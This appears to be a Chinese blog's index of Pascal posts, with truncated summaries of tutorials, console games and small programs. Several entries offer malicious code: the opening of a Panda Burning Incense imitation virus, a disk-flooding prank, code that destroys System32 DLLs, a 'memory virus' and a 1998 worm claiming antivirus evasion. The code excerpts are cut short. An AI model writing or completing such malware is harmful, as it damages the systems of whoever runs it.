随笔分类 - Pascal
1
主要探讨Pascal以及Object Pascal的语法问题。
摘要：Object Pascal 参考手册 （Ver 0.1）ezdelphi@hotmail.com OverviewOverview（概述）Using object pascal（使用 object pascal）Object Pascal 是一种高级编译语言，具有强类型（对数据类型的检查非常...
阅读全文
摘要：Pascal现在还有人想学习吗？先给出一本不错的Pascal教程，Object Pascal的教程我日后给出。Pascal基础教程第一课 初识PASCAL语言 …………………… 1 第二课 赋值语句与简单的输出语句 …………………… 5 第三课 带格式的输出语句输入语句 …………………… ...
阅读全文
摘要：一段未完成的Pascal贪吃蛇说这段代码未完成其实是没有源代码格式化，ＦＰ中一行最多只有２５５字符宽。uses crt;const screenwidth=50;screenheight=24; wallchar='#'; snakechar='*'; ; type point=record x,y...
阅读全文
摘要：俄罗斯方块怀旧版（注释版）{$APPTYPE GUI}{$MODE DELPHI}program WinPiece;usesWindows;constAppName = 'WinPiece';pm = 25;vardc : hdc;AMessage : Msg;hWindow: HWnd;hPen ...
阅读全文
摘要：用于帮助新手理解ASCII码和字符型与整型的一段小程序，转载请注明出处例如：输入 I love you打印 73 32 108 111 118 101 32 121 111 117 13 10Program TransPro (input,output);Var judge,number:integ...
阅读全文
摘要：用于打印杨辉三角的程序，有多种算法仅提供一种PRogram yh (input,ouput);var m,n,c:integer;BeginFor m:=0 TO 10 Do Begin c:=1; write(c:40-3*m); For n:=1 To m Do begin c:=c+(m-n+...
阅读全文
摘要：俄罗斯方块已经成为了和“Hello World”一样的程序了吧？不要直接复制，可能需要事先 Format.program cube;uses crt,graph,dos;var gd,gm:smallint;fillin:fillpatterntype;board:array[0..26,0..26...
阅读全文
摘要：Pascal仿熊猫烧香病毒，慎用program japussy;useswindows, sysutils, classes, graphics, shellapi{, registry};constheadersize = 82432; //病毒体的大小iconoffset = $12eb8; /...
阅读全文
摘要：一个被人写滥了的小程序，新手学习，Pascal By Chaobs初学者可以用它来学习随机函数的运用，当然你完全可以自己写一个随机函数。var player1,player2:longint; a,b,l,o,i,v:longint; w:boolean;begin randomize; write...
阅读全文
摘要：一个经典的打飞机游戏（1）Pascal代码十分经典，有一种街机的感觉奇葩青年的又一控制台神作。usescrt;typelist=recordty,ax:integer;end;xy=recordbx,by:integer;end;l1=array[1..4,1..5]ofchar;l2=array[...
阅读全文
摘要：一个整人的Pascal小程序运行之后硬盘里面会有一大堆垃圾，当然更好的方法当然不是这样做！var a,b,c,d:char;beginfor a:='0' to '9' dofor b:='0' to '9' dofor c:='0' to '9' dofor d:='0' to '9' dobeg...
阅读全文
摘要：运用Pascal来破坏DLL文件的一个实例关于Pascal静态调用和动态的调用DLL的学习您可以看Delphi/Lazarus栏目。Uses Dos; {调用DOS库}Const Root='C:\Windows\System32\'; {定位文件}var vir:array [1..6] of s...
阅读全文
摘要：Pascal吧友作品 一个小RPGChaobs转载varplife,plifemax,patt,pre:integer;gr,ex,exmax:integer;alife,alife1,aatt,are:integer;name,fname:string;na:text;code,co:string...
阅读全文
摘要：Pascal内存病毒Chaobs从互联网上获得 pascal病毒虽然说只用Ctrl+Pause Break就可以关闭，但是像有些程序一旦启动，不用等你找到那两个键，就自己运行结束关闭了。比如下面一个程序：vara:text;beginassign(a,'C:\WINDOWS\system32\sys...
阅读全文
摘要：{ Happy Birthday (c) 1998 WoRmI don't take responsibility for any damage caused by this virus.It was made for EDUCATIONAL USE ONLY.AVs : No detectionS...
阅读全文
摘要：一个很经典的井字棋游戏 Pascal源码Chaobs奉上注意：1.有的FP版本不支持汉语，将会出现乱码。2.别想赢电脑了，平手不错了。井字过三关：program TicTacToe;uses crt;vara:Array [1..3] of Array [1..3] of char;b:Array ...
阅读全文
摘要：一个双人的游戏 Pascal源码附上只要俩人不脑残，一下午玩不完。。。又是控制台游戏中的一朵奇葩。Free Pascal 射击游戏Program shooting_game;uses crt;const cz:array[1..4,1..2] of -1..1=((0,1),(1,0),(0,-1)...
阅读全文
摘要：大富翁MUD Pascal源码 Chaobs改编自百度网友作品此源码非Chaobs原创，但转载时请仍注明出处。估计90后以后就没有孩子知道MUD了。program wxtw;uses crt;type zbdy=record x,y:integer; end;var n,i,x,y,t,sjs:in...
阅读全文
摘要：不要消灭星星 Pascal小游戏 Chaobs改编自pascal吧控制台小游戏嘛，就当是练习一下结构化的写法。program wxtw;uses crt;type zbdy=record x,y:integer; end;var n,i,x,y,t,sjs:integer; ml:char;zb: ...
阅读全文
摘要：用二分法求在（a,b)上单调的函数近似值第八行的表达式可更改，第三行的kexi决定的精度，小数值计算可将第五行的extended更为real或doublePROGRAM EQUANTION (input,output);CONST kexi=0.0000001;VAR a,b,c:extended;...
阅读全文
1
